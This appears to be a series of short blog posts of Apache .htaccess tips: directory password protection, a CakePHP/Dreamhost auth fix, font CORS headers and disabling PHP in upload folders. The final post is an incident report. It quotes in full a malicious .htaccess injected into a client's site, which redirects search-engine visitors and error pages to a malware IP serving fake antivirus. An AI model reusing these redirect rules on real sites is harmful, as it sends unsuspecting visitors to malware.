Pixelastic

One can protect the browsing of a special directory with a simple set of login/password by using appropriate .htaccess/.htpasswd files.

The classic way

Just create an .htaccess in the directory you want to protect with the following lines :

AuthName "Restricted Access"
AuthType Basic
AuthUserFile /full/path/to/your/.htpasswd
<Limit GET POST PUT>
Require valid-user
</Limit>

And to create the .htpasswd file, run the following command :

htpasswd -c /full/path/to/your/.htpasswd username

The -c modifier will create the file, omit it if you only want to add a new user. Also change the path to your .htpasswd file (moving it out of the webdir could be a good idea) and change username to any login you want.

You'll then be prompted to enter the password (twice) and your file will be generated.

cakePHP and Dreamhost fixed

I had an issue when protecting a folder in my app/webroot/ folder on Dreamhost. I'm not sure it is completly cake related nor Dreamhost related but the two together made it quite hard to debug.

Anyway, it appears that when issuing an HTTP Auth, Dreamhost redirect to a file named /failed_auth.html (this is the file you're supposed to see when your Auth fails, obviously).

But as I didn't have such a file in my app, everytime I tried to access my protected dir, I got my custom 404 error page.

To finally fix that, all I had to do was to create a real failed_auth.html page, or in my case, create a Route that redirect failed_auth.html to a custom failed auth page.

I guess just dropping a failed_auth.html file in app/webroot/ could have done the trick too.

Did you know that when debugging RewriteRules, instead of commenting/uncommenting each line, you can simply make RewriteEngine On / RewriteEngine Off all along your code ?

I didn't, and now that I do it seems so obvious I don't believe I've never thought of that before...

As a security reason, Firefox do not allow an @font-face rule to load fonts hosted on a different domain (even a subdomain).

I don't exactly understand why, I guess it has something to do with preventing crosslinking and copyright violation. I think we should keep the website author handle all this stuff and not required the browser to make assumptions like that.

Anyway, I recently tried to move my CSS file to a subdomain, to reduce pages loading times. Doing so I saw that my fonts did not correctly load on Firefox.

After some digging, I found that I had to manually allow them to be linked from an other domain, server-side. Here is the little snippet I added to my .htaccess

<FilesMatch "\.(ttf|otf|woff)$">
	<IfModule mod_headers.c>
		Header set Access-Control-Allow-Origin "*"
	</IfModule>
</FilesMatch>

Say you want to disable PHP scripts in a whole directory. Like your upload/ directory, because you don't want your users to upload .php files with direct webroot access on your server...

Just drop a .htaccess file in it, and add the following rules

# We don't want php files from being parsed by the server in this directory, so we will return them as plain text
AddType text/plain .php .php3 .php4 .php5 .php6 .phtml

# Or, if the first rule does not work on your server, you may want to completely turn off PHP
#php_flag engine off

Today a client called me telling me that its website was unavailable, or more exactly that the full content of the FTP was displayed instead of its homepage.

After a little investigation it appears that the .htaccess file had been modified, here was the content I found :

RewriteEngine On
ErrorDocument 400 http://217.23.5.232/hitin.php?land=20&affid=20116
ErrorDocument 401 http://217.23.5.232/hitin.php?land=20&affid=20116
ErrorDocument 403 http://217.23.5.232/hitin.php?land=20&affid=20116
ErrorDocument 404 http://217.23.5.232/hitin.php?land=20&affid=20116
ErrorDocument 500 http://217.23.5.232/hitin.php?land=20&affid=20116
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*
RewriteRule ^(.*)$ http://217.23.5.232/hitin.php?land=20&affid=20116 [R=301,L]

A little search online told me that this IP refer to a malware website launching a fake Antivirus software installation.

I have no idea how the .htaccess got modified, but I changed the FTP password.